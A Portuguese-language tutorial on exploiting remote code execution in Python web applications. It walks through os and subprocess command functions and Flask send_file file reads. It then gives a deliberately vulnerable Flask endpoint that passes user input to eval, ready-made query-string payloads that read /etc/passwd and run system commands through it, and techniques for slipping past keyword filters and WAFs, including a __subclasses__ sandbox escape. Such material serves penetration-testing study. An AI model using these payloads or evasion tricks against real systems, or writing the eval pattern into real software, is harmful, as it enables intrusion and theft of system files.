A exploração de vulnerabilidades de Execução Remota de Código (RCE) em ambientes Python difere de outras linguagens, como PHP, principalmente nas funções e módulos utilizados para interagir com o sistema operacional e executar código dinâmico. Abordaremos os principais vetores e módulos que permitem a execução de coamndos do sistema e avaliação de strings como código.
Módulo os
O módulo os fornece interfaces para interagir com o sistema operacional. Duas funções são frequentemente exploradas para execução de comandos:
1. os.system: Executa um comando no subshell do sistema. O ponto fraco é que ele apenas retorna o código de saída (0 para sucesso, valores diferentes de zero para falha), sem capturar a saída padrão (stdout).
import os
# Executa o comando e imprime a saída diretamente no terminal
exit_code = os.system('uname -a')
print(f"Código de saída: {exit_code}")
2. os.popen: Abre um pipe para o comando, permitindo capturar a saída do processo como um objeto de arquivo.
import os
# Captura a saída do comando de listagem de diretórios
process_pipe = os.popen('ls -la')
command_output = process_pipe.read()
print(command_output)
Módulo subprocess
O módulo subprocess é a abordagem moderna e recomendada para spawnar novos processos, sendo mais robusto e seguro que o módulo os.
1. subprocess.run: A função principal para executar comandos. O primeiro agrumento deve ser uma lista contendo o executável e seus argumentos.
import subprocess
# Executa 'id' e captura a saída
result = subprocess.run(['id', '-u'], capture_output=True, text=True)
print(result.stdout.strip())
Nota: No Windows, comandos internos do shell como dir não são executáveis independentes. Para usá-los, é necessário definir shell=True, o que permite passar o comando como uma string única.
import subprocess
# Uso do parâmetro shell=True para executar comandos internos
result = subprocess.run("whoami", shell=True, capture_output=True, text=True)
print(result.stdout)
Parâmetros úteis do run:
capture_output=True: Captura stdout e stderr.text=True: Decodifica a saída de bytes para string.timeout: Define um limite de tempo; levantaTimeoutExpiredse excedido.check=True: LevantaCalledProcessErrorse o código de retorno for diferente de zero.
2. subprocess.getoutput: Executa o comando via shell e retorna a saída combinada (stdout e stderr) como uma string.
import subprocess
# Captura a saída sem imprimir no terminal durante a execução
output_data = subprocess.getoutput("cat /etc/hostname")
print(output_data)
3. subprocess.check_output: Similar ao run, mas focado em retornar a saída do comando. Levanta uma exceção se o comando falhar.
import subprocess
# Retorna a saída decodificada
output_bytes = subprocess.check_output("echo 'test'", shell=True)
print(output_bytes.decode('utf-8'))
Função send_file no Flask
Em aplicações web construídas com Flask, a função send_file é utilizada para enviar arquivos específicos ao cliente. Se o caminho do arquivo for controlado pelo usuário, pode levar a vulnerabilidades de Leitura Arbitrária de Arquivos (Arbitrary File Read).
from flask import Flask, send_file
app = Flask(__name__)
@app.route('/download')
def download_document():
# Caminho hardcoded para demonstração
file_path = '/var/www/html/documents/report.pdf'
return send_file(file_path, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Execução Dinâmica com eval e exec
As funções embutidas eval() e exec() permitem a execução de strings como código Python. A diferença crucial é que eval() avalia uma única expressão e retorna seu resultado, enquanto exec() executa blocos de código e não retorna valor.
Exemplo de aplicação Flask vulnerável:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/evaluate')
def evaluate_expression():
user_input = request.args.get('expr')
if not user_input:
return jsonify({"error": "Missing expression"}), 400
# Vulnerabilidade: execução de código arbitrário
evaluated_result = eval(user_input)
return jsonify({"result": str(evaluated_result)})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Payloads de exploração para o endpoint acima:
# Leitura de arquivo usando os.popen
?expr=__import__('os').popen('cat /etc/passwd').read()
# Execução via subprocess.run
?expr=__import__('subprocess').run(['id'], capture_output=True, text=True).stdout
# Uso de getoutput
?expr=__import__('subprocess').getoutput('ls -l /')
# Leitura de arquivo via Flask send_file (se importado no escopo)
?expr=send_file('/etc/hostname')
O uso de __import__('module_name') é uma técnica comum para importar módulos dinamicamente dentro de uma expressão eval, contornando a falta de imports no escopo global.
Técnicas de Evasão de Filtros
Quando palavras-chave como os, system ou popen são bloqueadas por WAFs ou filtros de aplicação, é possível utilizar concatenação de strings ou funções de reflexão para evadir as restrições.
import os
# 1. Concatenação de strings para evadir filtros estáticos
# Aplicável em eval: eval("__import__('os').sys" + "tem('id')")
# 2. Uso de getattr para acesso dinâmico a atributos e métodos
command_exec = getattr(os, "sys" + "tem")
command_exec("whoami")
# 3. Manipulação de dicionários de classes e built-ins (exemplo avançado)
# Acessando o módulo os através da classe base object
().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['system']('id')